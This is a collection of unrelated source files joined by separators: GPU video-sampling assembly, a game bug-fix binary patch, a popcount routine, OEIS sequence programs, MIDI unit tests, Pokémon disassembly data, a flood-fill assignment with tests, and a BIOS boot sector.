* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sub license, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice (including the
* next paragraph) shall be included in all copies or substantial portions
* of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
* IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR
* ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* This file was originally licensed under the following license
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
//---------- PL3_AVS_IEF_8x8.asm ----------
#include "AVS_IEF.inc"
//------------------------------------------------------------------------------
// 2 sampler reads for 8x8 Y surface
// 1 sampler read for 8x8 U surface
// 1 sampler read for 8x8 V surface
//------------------------------------------------------------------------------
// 1st 8x8 setup
#include "AVS_SetupFirstBlock.asm"
// 1st 8x8 Y sampling
mov (1) rAVS_8x8_HDR.2:ud nAVS_GREEN_CHANNEL_ONLY:ud // Enable green channel
mov (16) mAVS_8x8_HDR.0:ud rAVS_8x8_HDR.0<8;8,1>:ud // Copy msg header and payload mirrors to MRFs
send (1) uwAVS_RESPONSE(0)<1> mAVS_8x8_HDR udDUMMY_NULL nSMPL_ENGINE nAVS_MSG_DSC_1CH+nSI_SRC_Y+nBI_CURRENT_SRC_Y
// Return Y in 4 GRFs
// 8x8 U sampling
mov (1) rAVS_8x8_HDR.2:ud nAVS_RED_CHANNEL_ONLY:ud // Enable red channel
mul (1) rAVS_PAYLOAD.1:f fVIDEO_STEP_X:f 2.0:f // Calculate Step X for chroma
mov (16) mAVS_8x8_HDR_UV.0:ud rAVS_8x8_HDR.0<8;8,1>:ud // Copy msg header and payload mirrors to MRFs
send (1) uwAVS_RESPONSE(4)<1> mAVS_8x8_HDR_UV udDUMMY_NULL nSMPL_ENGINE nAVS_MSG_DSC_1CH+nSI_SRC_U+nBI_CURRENT_SRC_U
// Return U in 4 GRFs
// 8x8 V sampling
mov (1) rAVS_8x8_HDR.2:ud nAVS_RED_CHANNEL_ONLY:ud // Dummy instruction just in order to avoid back-2-back send instructions!
mov (16) mAVS_8x8_HDR_UV.0:ud rAVS_8x8_HDR.0<8;8,1>:ud // Copy msg header and payload mirrors to MRFs
send (1) uwAVS_RESPONSE(8)<1> mAVS_8x8_HDR_UV udDUMMY_NULL nSMPL_ENGINE nAVS_MSG_DSC_1CH+nSI_SRC_V+nBI_CURRENT_SRC_V
// Return V in 4 GRFs
// 2nd 8x8 setup
#include "AVS_SetupSecondBlock.asm"
// 2nd 8x8 Y sampling
mov (1) rAVS_8x8_HDR.2:ud nAVS_GREEN_CHANNEL_ONLY:ud // Enable green channel
mov (1) rAVS_PAYLOAD.1:f fVIDEO_STEP_X:f // Restore Step X for luma
mov (16) mAVS_8x8_HDR.0:ud rAVS_8x8_HDR.0<8;8,1>:ud // Copy msg header and payload mirrors to MRFs
send (1) uwAVS_RESPONSE(12)<1> mAVS_8x8_HDR udDUMMY_NULL nSMPL_ENGINE nAVS_MSG_DSC_1CH+nSI_SRC_Y+nBI_CURRENT_SRC_Y
// Return Y in 4 GRFs
//------------------------------------------------------------------------------
// Unpacking sampler reads to 4:2:2 internal planar
//------------------------------------------------------------------------------
#include "PL3_AVS_IEF_Unpack_8x8.asm"
|
%include "macros/patch.inc"
; Fixes a bug where objects with Sensors=yes cause nearby cloaked objects of allied players to decloak.
; Author: Rampastring
hack 0x0043B2E5
pushad
; We have one house in ECX and another in EDX
push edx
call 0x004BDA20 ; HouseClass::Is_Ally(HouseClass *)
test al, al
popad
jz .not_allied
jmp 0x0043B2F9 ; Don't decloak
.not_allied:
; Original code partially overwritten by our jump
mov edx, [eax]
mov ecx, eax
call [edx+84h]
mov cl, [eax+44Dh] ; Sensors
test cl, cl
jnz 0x0043B32D
jmp 0x0043B2F9
hack 0x0043B193
pushad
push edx
call 0x004BDA20 ; HouseClass::Is_Ally(HouseClass *)
test al, al
popad
jz .not_allied_2
jmp 0x0043B1A9
.not_allied_2:
; Original code partially overwritten by our jump
mov edx, [eax]
mov ecx, eax
call [edx+84h]
mov cl, [eax+44Dh]
test cl, cl
jnz 0x0043B1DD
jmp 0x0043B1A9
|
;************************* popcount64.asm ************************************
; Author: Agner Fog
; Date created: 2011-07-20
; Last modified: 2011-07-20
; Description:
; Population count function. Counts the number of 1-bits in a 32-bit integer
; unsigned int A_popcount (unsigned int x);
;
; Position-independent code is generated if POSITIONINDEPENDENT is defined.
;
; CPU dispatching included for 386 and SSE4.2 instruction sets.
;
; Copyright (c) 2011 GNU General Public License www.gnu.org/licenses
;******************************************************************************
default rel
global A_popcount
; Direct entries to CPU-specific versions
global popcountGeneric
global popcountSSE42
; Imported from instrset64.asm:
extern InstructionSet ; Instruction set for CPU dispatcher
section .text
;******************************************************************************
; popcount function
;******************************************************************************
A_popcount: ; function dispatching
jmp near [popcountDispatch] ; Go to appropriate version, depending on instruction set
align 16
popcountSSE42: ; SSE4.2 version
%ifdef WINDOWS
popcnt eax, ecx
%else
popcnt eax, edi
%endif
ret
;******************************************************************************
; popcount function generic
;******************************************************************************
popcountGeneric: ; Generic version
%ifdef WINDOWS
mov eax, ecx
%else
mov eax, edi
%endif
mov edx, eax
shr eax, 1
and eax, 55555555h ; odd bits in eax, even bits in edx
and edx, 55555555h
add eax, edx
mov edx, eax
shr eax, 2
and eax, 33333333h
and edx, 33333333h
add eax, edx
mov edx, eax
shr eax, 4
add eax, edx
and eax, 0F0F0F0Fh
mov edx, eax
shr eax, 8
add eax, edx
mov edx, eax
shr eax, 16
add eax, edx
and eax, 03FH
ret
;popcountGeneric end
; ********************************************************************************
; CPU dispatching for popcount. This is executed only once
; ********************************************************************************
%ifdef WINDOWS
%define par1 rcx ; parameter 1, pointer to haystack
%else
%define par1 rdi ; parameter 1, pointer to haystack
%endif
popcountCPUDispatch:
; get supported instruction set
push par1
call InstructionSet
pop par1
; Point to generic version of strstr
lea rdx, [popcountGeneric]
cmp eax, 9 ; check popcnt supported
jb Q100
; SSE4.2 supported
; Point to SSE4.2 version of strstr
lea rdx, [popcountSSE42]
Q100: mov [popcountDispatch], rdx
; Continue in appropriate version
jmp rdx
SECTION .data
; Pointer to appropriate versions. Initially point to dispatcher
popcountDispatch DQ popcountCPUDispatch
|
; A184336: a(n) = n + floor((3*n)^(1/3) - 2/3).
; 1,3,4,5,6,7,9,10,11,12,13,14,15,16,17,18,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,66,67,68,69,70,71
mov $2,2
mov $3,1
mov $4,$0
lpb $0
sub $0,$3
sub $0,3
trn $0,1
add $1,2
add $2,$1
sub $1,1
sub $2,1
add $3,2
add $3,$2
lpe
lpb $4
add $1,1
sub $4,1
lpe
add $1,1
mov $0,$1
|
; A023561: Convolution of A023531 and (F(2), F(3), F(4), ...).
; Submitted by Christian Krause
; 0,1,2,3,6,10,16,26,43,70,113,183,296,480,777,1257,2034,3291,5325,8617,13943,22560,36503,59063,95566,154629,250196,404826,655022,1059848,1714870,2774718,4489588,7264306
lpb $0
mov $2,$0
add $0,$3
trn $0,3
seq $2,1595 ; a(n) = a(n-1) + a(n-2) + 1, with a(0) = a(1) = 1.
add $1,$2
add $1,1
sub $3,1
lpe
mov $0,$1
div $0,2
|
; A233908: 10*binomial(7*n+10,n)/(7*n+10).
; Submitted by Christian Krause
; 1,10,115,1450,19425,271502,3915100,57821940,870238200,13298907050,205811513765,3218995093860,50802419972395,808016193159000,12938696992921000,208419656266988904,3374960506795660365,54907659530154222000,897060906625956765000,14711500799506081410000,242094196621251134660577,3996418709883785895359650,66160792312072124214857400,1098175329140737316090661000,18272337926026468776802771500,304711174303730765259980626062,5091943292706181636293853533795,85254286651015110258315141905680
mov $2,$0
add $2,1
mul $2,5
add $2,2
add $2,$0
add $2,2
add $0,$2
bin $0,$2
mul $0,120
mov $1,$2
add $1,1
div $0,$1
div $0,12
|
; A011874: [ n(n-1)/21 ].
; 0,0,0,0,0,0,1,2,2,3,4,5,6,7,8,10,11,12,14,16,18,20,22,24,26,28,30,33,36,38,41,44,47,50,53,56,60,63,66,70,74,78,82,86,90,94,98,102,107,112,116,121,126,131,136,141
bin $0,2
mov $1,$0
add $1,$0
div $1,21
|
#include <catch.hpp>
#include <helgoboss-midi/MidiParameterNumberMessage.h>
using helgoboss::util::couldBePartOfParameterNumberMessage;
namespace helgoboss {
SCENARIO("Empty parameter number messages") {
GIVEN("Default-constructed or explicitly empty parameter number messages") {
const MidiParameterNumberMessage defaultMsg{};
const auto emptyMsg = MidiParameterNumberMessage::empty();
THEN("should be empty") {
REQUIRE(defaultMsg.isEmpty());
REQUIRE(emptyMsg.isEmpty());
}
THEN("should be equal to each other") {
REQUIRE(defaultMsg == emptyMsg);
}
}
}
SCENARIO("14-bit parameter number messages") {
GIVEN("Registered 14-bit parameter number message") {
const MidiParameterNumberMessage msg(0, 420, 15000, true, true);
THEN("should not be empty") {
REQUIRE_FALSE(msg.isEmpty());
}
THEN("should return correct values") {
REQUIRE(msg.getChannel() == 0);
REQUIRE(msg.getNumber() == 420);
REQUIRE(msg.getValue() == 15000);
REQUIRE(msg.is14bit());
REQUIRE(msg.isRegistered());
}
WHEN("asked to build corresponding MIDI messages") {
const auto midiMsgs = msg.buildMidiMessages();
THEN("should return exactly 4 messages") {
REQUIRE(midiMsgs.size() == 4);
}
THEN("should return correct messages") {
REQUIRE(midiMsgs.at(0) == MidiMessage::controlChange(0, 101, 3));
REQUIRE(midiMsgs.at(1) == MidiMessage::controlChange(0, 100, 36));
REQUIRE(midiMsgs.at(2) == MidiMessage::controlChange(0, 38, 24));
REQUIRE(midiMsgs.at(3) == MidiMessage::controlChange(0, 6, 117));
}
}
}
}
SCENARIO("7-bit parameter number messages") {
WHEN("trying to construct a 7-bit message with a too high value") {
THEN("should complain") {
REQUIRE_THROWS(MidiParameterNumberMessage(0, 420, 15000, false, false));
}
}
GIVEN("Non-registered 7-bit parameter number message") {
const MidiParameterNumberMessage msg(2, 421, 126, false, false);
THEN("should not be empty") {
REQUIRE(!msg.isEmpty());
}
THEN("should return correct values") {
REQUIRE(msg.getChannel() == 2);
REQUIRE(msg.getNumber() == 421);
REQUIRE(msg.getValue() == 126);
REQUIRE(!msg.is14bit());
REQUIRE(!msg.isRegistered());
}
WHEN("asked to build corresponding MIDI messages") {
const auto midiMsgs = msg.buildMidiMessages();
THEN("should return exactly 4 messages") {
REQUIRE(midiMsgs.size() == 4);
}
THEN("should return correct messages") {
REQUIRE(midiMsgs.at(0) == MidiMessage::controlChange(2, 99, 3));
REQUIRE(midiMsgs.at(1) == MidiMessage::controlChange(2, 98, 37));
REQUIRE(midiMsgs.at(2) == MidiMessage::controlChange(2, 6, 126));
REQUIRE(midiMsgs.at(3) == MidiMessage::empty());
}
}
}
}
TEST_CASE("Could be part of parameter message") {
REQUIRE(couldBePartOfParameterNumberMessage(MidiMessage::controlChange(2, 99, 3)));
REQUIRE(couldBePartOfParameterNumberMessage(MidiMessage::controlChange(2, 98, 37)));
REQUIRE(couldBePartOfParameterNumberMessage(MidiMessage::controlChange(2, 6, 126)));
REQUIRE(couldBePartOfParameterNumberMessage(MidiMessage::controlChange(0, 101, 3)));
REQUIRE(couldBePartOfParameterNumberMessage(MidiMessage::controlChange(0, 100, 36)));
REQUIRE(couldBePartOfParameterNumberMessage(MidiMessage::controlChange(0, 38, 24)));
REQUIRE(couldBePartOfParameterNumberMessage(MidiMessage::controlChange(0, 6, 117)));
REQUIRE(!couldBePartOfParameterNumberMessage(MidiMessage::controlChange(0, 5, 117)));
REQUIRE(!couldBePartOfParameterNumberMessage(MidiMessage::controlChange(0, 39, 117)));
REQUIRE(!couldBePartOfParameterNumberMessage(MidiMessage::controlChange(0, 77, 2)));
}
} |
db SUNKERN ; 191
db 30, 30, 30, 30, 30, 30
; hp atk def spd sat sdf
db GRASS, GRASS ; type
db 235 ; catch rate
db 52 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/sunkern/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_SLOW ; growth rate
dn EGG_PLANT, EGG_PLANT ; egg groups
; tm/hm learnset
tmhm CURSE, TOXIC, HIDDEN_POWER, SUNNY_DAY, SWEET_SCENT, SNORE, PROTECT, GIGA_DRAIN, ENDURE, FRUSTRATION, SOLARBEAM, RETURN, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SLUDGE_BOMB, REST, ATTRACT, CUT, FLASH
; end
|
WildDataPointers:
dw NoMons ; PALLET_TOWN
dw NoMons ; VIRIDIAN_CITY
dw NoMons ; PEWTER_CITY
dw NoMons ; CERULEAN_CITY
dw NoMons ; LAVENDER_TOWN
dw NoMons ; VERMILION_CITY
dw NoMons ; CELADON_CITY
dw NoMons ; FUCHSIA_CITY
dw NoMons ; CINNABAR_ISLAND
dw NoMons ; INDIGO_PLATEAU
dw NoMons ; SAFFRON_CITY
dw MtSilverMons ; unused
dw Route1Mons ; ROUTE_1
dw Route2Mons ; ROUTE_2
dw Route3Mons ; ROUTE_3
dw Route4Mons ; ROUTE_4
dw Route5Mons ; ROUTE_5
dw Route6Mons ; ROUTE_6
dw Route7Mons ; ROUTE_7
dw Route8Mons ; ROUTE_8
dw Route9Mons ; ROUTE_9
dw Route10Mons ; ROUTE_10
dw Route11Mons ; ROUTE_11
dw Route12Mons ; ROUTE_12
dw Route13Mons ; ROUTE_13
dw Route14Mons ; ROUTE_14
dw Route15Mons ; ROUTE_15
dw Route16Mons ; ROUTE_16
dw Route17Mons ; ROUTE_17
dw Route18Mons ; ROUTE_18
dw Route19Mons ; ROUTE_19
dw Route20Mons ; ROUTE_20
dw Route21Mons ; ROUTE_21
dw Route22Mons ; ROUTE_22
dw Route23Mons ; ROUTE_23
dw Route24Mons ; ROUTE_24
dw Route25Mons ; ROUTE_25
dw NoMons ; REDS_HOUSE_1F
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw ForestMons ; ViridianForest
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw MoonMons1
dw MoonMonsB1
dw MoonMonsB2
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons ;underground tunnel
dw NoMons
dw TunnelMonsB1
dw PowerPlantMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw SilverCaveMons ;silver
dw NoMons ;unused
dw NoMons ;unused
dw PlateauMons1
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw TowerMons1
dw TowerMons2
dw TowerMons3
dw TowerMons4
dw TowerMons5
dw TowerMons6
dw TowerMons7
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw IslandMonsB1
dw IslandMonsB2
dw IslandMonsB3
dw IslandMonsB4
dw NoMons
dw NoMons
dw MansionMons1
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw IslandMons1
dw NoMons
dw PlateauMons2
dw NoMons
dw NoMons
dw CaveMons
dw PlateauMons3
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw MansionMons2
dw MansionMons3
dw MansionMonsB1
dw ZoneMons1
dw ZoneMons2
dw ZoneMons3
dw ZoneMonsCenter
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw DungeonMons2
dw DungeonMonsB1
dw DungeonMons1
dw NoMons
dw NoMons
dw NoMons
dw TunnelMonsB2
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw NoMons
dw $FFFF
; wild pokemon data is divided into two parts.
; first part: pokemon found in grass
; second part: pokemon found while surfing
; each part goes as follows:
; if first byte == 00, then
; no wild pokemon on this map
; if first byte != 00, then
; first byte is encounter rate
; followed by 20 bytes:
; level, species (ten times)
INCLUDE "data/wildPokemon/nomons.asm"
INCLUDE "data/wildPokemon/route1.asm"
INCLUDE "data/wildPokemon/route2.asm"
INCLUDE "data/wildPokemon/route22.asm"
INCLUDE "data/wildPokemon/viridianforest.asm"
INCLUDE "data/wildPokemon/route3.asm"
INCLUDE "data/wildPokemon/mtmoon1.asm"
INCLUDE "data/wildPokemon/mtmoonb1.asm"
INCLUDE "data/wildPokemon/mtmoonb2.asm"
INCLUDE "data/wildPokemon/route4.asm"
INCLUDE "data/wildPokemon/route24.asm"
INCLUDE "data/wildPokemon/route25.asm"
INCLUDE "data/wildPokemon/route9.asm"
INCLUDE "data/wildPokemon/route5.asm"
INCLUDE "data/wildPokemon/route6.asm"
INCLUDE "data/wildPokemon/route11.asm"
INCLUDE "data/wildPokemon/rocktunnel1.asm"
INCLUDE "data/wildPokemon/rocktunnel2.asm"
INCLUDE "data/wildPokemon/route10.asm"
INCLUDE "data/wildPokemon/route12.asm"
INCLUDE "data/wildPokemon/route8.asm"
INCLUDE "data/wildPokemon/route7.asm"
INCLUDE "data/wildPokemon/pokemontower1.asm"
INCLUDE "data/wildPokemon/pokemontower2.asm"
INCLUDE "data/wildPokemon/pokemontower3.asm"
INCLUDE "data/wildPokemon/pokemontower4.asm"
INCLUDE "data/wildPokemon/pokemontower5.asm"
INCLUDE "data/wildPokemon/pokemontower6.asm"
INCLUDE "data/wildPokemon/pokemontower7.asm"
INCLUDE "data/wildPokemon/route13.asm"
INCLUDE "data/wildPokemon/route14.asm"
INCLUDE "data/wildPokemon/route15.asm"
INCLUDE "data/wildPokemon/route16.asm"
INCLUDE "data/wildPokemon/route17.asm"
INCLUDE "data/wildPokemon/route18.asm"
INCLUDE "data/wildPokemon/safarizonecenter.asm"
INCLUDE "data/wildPokemon/safarizone1.asm"
INCLUDE "data/wildPokemon/safarizone2.asm"
INCLUDE "data/wildPokemon/safarizone3.asm"
INCLUDE "data/wildPokemon/route19.asm"
INCLUDE "data/wildPokemon/route20.asm"
INCLUDE "data/wildPokemon/seafoamisland1.asm"
INCLUDE "data/wildPokemon/seafoamislandb1.asm"
INCLUDE "data/wildPokemon/seafoamislandb2.asm"
INCLUDE "data/wildPokemon/seafoamislandb3.asm"
INCLUDE "data/wildPokemon/seafoamislandb4.asm"
INCLUDE "data/wildPokemon/mansion1.asm"
INCLUDE "data/wildPokemon/mansion2.asm"
INCLUDE "data/wildPokemon/mansion3.asm"
INCLUDE "data/wildPokemon/mansionb1.asm"
INCLUDE "data/wildPokemon/route21.asm"
INCLUDE "data/wildPokemon/unknowndungeon1.asm"
INCLUDE "data/wildPokemon/unknowndungeon2.asm"
INCLUDE "data/wildPokemon/unknowndungeonb1.asm"
INCLUDE "data/wildPokemon/powerplant.asm"
INCLUDE "data/wildPokemon/route23.asm"
INCLUDE "data/wildPokemon/victoryroad2.asm"
INCLUDE "data/wildPokemon/victoryroad3.asm"
INCLUDE "data/wildPokemon/victoryroad1.asm"
INCLUDE "data/wildPokemon/diglettscave.asm"
INCLUDE "data/wildPokemon/silvercave.asm"
INCLUDE "data/wildPokemon/mtsilver.asm" |
#include "RisingTides.h"
#include "GUI/SimpleTest.h"
#include "queue.h"
using namespace std;
Grid<bool> floodedRegionsIn(const Grid<double>& terrain,
const Vector<GridLocation>& sources,
double height) {
Grid<bool> water(terrain.numRows(), terrain.numCols(), false);
Queue<GridLocation> queue;
for (GridLocation source : sources) {
if (terrain[source] <= height) {
water[source] = true;
queue.enqueue(source);
}
}
while (!queue.isEmpty()) {
GridLocation loc = queue.dequeue();
Vector<GridLocation> neighbors = { { loc.row - 1, loc.col },
{ loc.row + 1, loc.col },
{ loc.row, loc.col - 1 },
{ loc.row, loc.col + 1 } };
for (GridLocation neighbor : neighbors) {
if (terrain.inBounds(neighbor)) {
if (terrain[neighbor] <= height && water[neighbor] == false) {
water[neighbor] = true;
queue.enqueue(neighbor);
}
}
}
}
return water;
}
/***** Test Cases Below This Point *****/
PROVIDED_TEST("Nothing gets wet if there are no water sources.") {
Grid<double> world = {
{ 0, 0, 0 },
{ 0, 0, 0 },
{ 0, 0, 0 }
};
Vector<GridLocation> sources = {
// empty
};
/* There are no water sources, so nothing should be underwater. */
Grid<bool> water = floodedRegionsIn(world, sources, 1.0);
Grid<bool> expected = {
{ false, false, false },
{ false, false, false },
{ false, false, false }
};
EXPECT_EQUAL(water, expected);
}
PROVIDED_TEST("Everything gets wet if all locations are below the water level.") {
Grid<double> world = {
{ 0, 0, 0 },
{ 0, 0, 0 },
{ 0, 0, 0 }
};
Vector<GridLocation> sources = {
{ 0, 0 }
};
/* Everything should flood; there are no barriers to stop the water. */
Grid<bool> water = floodedRegionsIn(world, sources, 1.0);
Grid<bool> expected = {
{ true, true, true },
{ true, true, true },
{ true, true, true }
};
EXPECT_EQUAL(water, expected);
}
PROVIDED_TEST("Water can't cross a vertical levee.") {
Grid<double> world = {
{ 0, 2, 0 },
{ 0, 2, 0 },
{ 0, 2, 0 }
};
Vector<GridLocation> sources = {
{ 0, 0 }
};
/* Only locations to the left of the barrier should be under water. */
Grid<bool> water = floodedRegionsIn(world, sources, 1.0);
Grid<bool> expected = {
{ true, false, false },
{ true, false, false },
{ true, false, false }
};
EXPECT_EQUAL(water, expected);
}
PROVIDED_TEST("Water can't cross a diagonal levee.") {
Grid<double> world = {
{ 0, 0, 2 },
{ 0, 2, 0 },
{ 2, 0, 0 }
};
Vector<GridLocation> sources = {
{ 0, 0 }
};
/* Water only flows in the four cardinal directions, so it can't
* pass through the barrier. Only the top should be flooded.
*/
Grid<bool> water = floodedRegionsIn(world, sources, 1.0);
Grid<bool> expected = {
{ true, true, false },
{ true, false, false },
{ false, false, false }
};
EXPECT_EQUAL(water, expected);
}
PROVIDED_TEST("Water can't flow diagonally.") {
Grid<double> world = {
{ 0, 2, 0 },
{ 2, 0, 2 },
{ 0, 2, 0 }
};
Vector<GridLocation> sources = {
{ 1, 1 }
};
/* Water should be trapped in the center, since it can't move
* diagonally.
*/
Grid<bool> water = floodedRegionsIn(world, sources, 1.0);
Grid<bool> expected = {
{ false, false, false },
{ false, true, false },
{ false, false, false }
};
EXPECT_EQUAL(water, expected);
}
PROVIDED_TEST("Water can flow in all cardinal directions.") {
Grid<double> world = {
{ 2, 0, 2 },
{ 0, 0, 0 },
{ 2, 0, 2 }
};
Vector<GridLocation> sources = {
{ 1, 1 }
};
/* The water in this case should flow up, down, left, and right. */
Grid<bool> water = floodedRegionsIn(world, sources, 1.0);
Grid<bool> expected = {
{ false, true, false },
{ true, true, true },
{ false, true, false }
};
EXPECT_EQUAL(water, expected);
}
PROVIDED_TEST("Water can flow from multiple sources.") {
Grid<double> world = {
{ 0, 0, 2 },
{ 0, 2, 0 },
{ 2, 0, 0 }
};
Vector<GridLocation> sources = {
{ 0, 0 },
{ 2, 2 }
};
/* Everything except the levee should be under water. */
Grid<bool> water = floodedRegionsIn(world, sources, 1.0);
Grid<bool> expected = {
{ true, true, false },
{ true, false, true },
{ false, true, true }
};
EXPECT_EQUAL(water, expected);
}
PROVIDED_TEST("Handles asymmetric worlds and non-square grids") {
Grid<double> world = {
{ 3, 1, 4, 1 },
{ 5, 9, 2, 6 },
{ 5, 3, 5, 8 }
};
/* Initial test - water shouldn't leak out from the 2 if the height is 3.5. */
Vector<GridLocation> sources = {
{ 1, 2 }
};
Grid<bool> expected = {
{ false, false, false, false },
{ false, false, true, false },
{ false, false, false, false },
};
EXPECT_EQUAL(floodedRegionsIn(world, sources, 3.5), expected);
/* Now, increase the water height to 4.5. */
expected = {
{ true, true, true, true },
{ false, false, true, false },
{ false, false, false, false },
};
EXPECT_EQUAL(floodedRegionsIn(world, sources, 4.5), expected);
/* Now, increase the water height to 5.5. */
expected = {
{ true, true, true, true },
{ true, false, true, false },
{ true, true, true, false },
};
EXPECT_EQUAL(floodedRegionsIn(world, sources, 5.5), expected);
/* Now, increase the water height to 6.5. */
expected = {
{ true, true, true, true },
{ true, false, true, true },
{ true, true, true, false },
};
EXPECT_EQUAL(floodedRegionsIn(world, sources, 6.5), expected);
/* Now, increase the water height to 9.5. */
expected = {
{ true, true, true, true },
{ true, true, true, true },
{ true, true, true, true },
};
EXPECT_EQUAL(floodedRegionsIn(world, sources, 9.5), expected);
}
PROVIDED_TEST("Stress test: Handles a large, empty world quickly.") {
Grid<double> world(100, 100); // Large world, everything defaults to 0 height.
Vector<GridLocation> sources = {
{ 0, 0 }
};
/* This may take a long time to complete if the solution is inefficient. Look
* for things like
*
* 1. passing around large objects by *value* rather than by *reference*,
* 2. revisiting the same squares multiple times (e.g. flooding the same
* cell many times due to not checking if something is flooded),
*
* etc.
*/
Grid<bool> water = floodedRegionsIn(world, sources, 1.0);
EXPECT_EQUAL(water.numRows(), world.numRows());
EXPECT_EQUAL(water.numCols(), world.numCols());
/* Everything should be flooded. */
for (int row = 0; row < world.numRows(); row++) {
for (int col = 0; col < world.numCols(); col++) {
EXPECT_EQUAL(water[row][col], true);
}
}
}
STUDENT_TEST("Nothing gets wet if all locations are above the water level.") {
Grid<double> world = {
{ 6, 5, 3 },
{ 5, 4, 2 },
{ 3, 2, 2 }
};
Vector<GridLocation> sources;
for (int row = 0; row < 3; row++) {
for (int col = 0; col < 3; col++) {
sources.add({ row, col });
}
}
Grid<bool> water = floodedRegionsIn(world, sources, 1.0);
Grid<bool> expected = {
{ false, false, false },
{ false, false, false },
{ false, false, false }
};
EXPECT_EQUAL(water, expected);
}
|
;
; A basic BIOS boot sector
;
[org 0x7c00]
mov [BOOT_DRIVE], dl ; BIOS stores the boot drive in dl, save it for later
mov bp, 0x8000 ; Set up the stack some place out of the way
mov sp, bp
mov ah, 0x00 ; BIOS set video mode
mov al, 0x02 ; 80x25 lines text mode, 16 colors 8 pages
int 0x10
mov ah, 0x0b ; BIOS background/border color
mov bx, 0x000c ; light red background, black border
int 0x10
mov bx, BOOT_MSG ; Inform user of entry to Real Mode
call print_string
call load_kernel ; load the kernel
mov bx, PM_SWITCH_MSG ; Inform the user of PM bring-up
call print_string
call switch_to_pm ; switch to PM. **NOTE** this call never returns
%include "print_string.asm"
%include "disk_load.asm"
%include "gdt.asm"
%include "mode_switch.asm"
%include "pm_print_string.asm"
[bits 16]
load_kernel:
mov bx, LOAD_KERNEL_MSG ; Inform the user that we are loading the kernel
call print_string
mov bx, KERNEL_OFFSET ;
mov dh, 1 ; Read the kernel from disk into memory at offset
mov dl, [BOOT_DRIVE] ; 0x1000, which is our preselected "magic offset"
call disk_load ;
ret
[bits 32]
BEGIN_PM:
mov ebx, PM_ENTER_MSG ; Inform the user that 32-bit mode has been entered
call print_string_pm
mov ebx, KERNEL_ENTER_MSG ; Looks like we're gonna have to jump...!
call print_string_pm
call KERNEL_OFFSET ; Grab your ankles and kiss your ass goodbye, we're
; jumping into the loaded kernel. Cowabunga, dudes!
jmp $
; Data
BOOT_MSG:
db "Boot sector loaded. Running in 16-bit real mode."
dw CRLF
dw 0
PM_SWITCH_MSG:
db "Switching to 32-bit protected mode."
dw CRLF
dw 0
PM_ENTER_MSG:
db "Now running in 32-bit mode."
db 0
LOAD_KERNEL_MSG:
db "Loading kernel from disk."
dw CRLF
dw 0
KERNEL_ENTER_MSG:
db "Passing control to kernel."
db 0
BOOT_DRIVE:
db 0
KERNEL_OFFSET equ 0x1000
; Padding and magic number
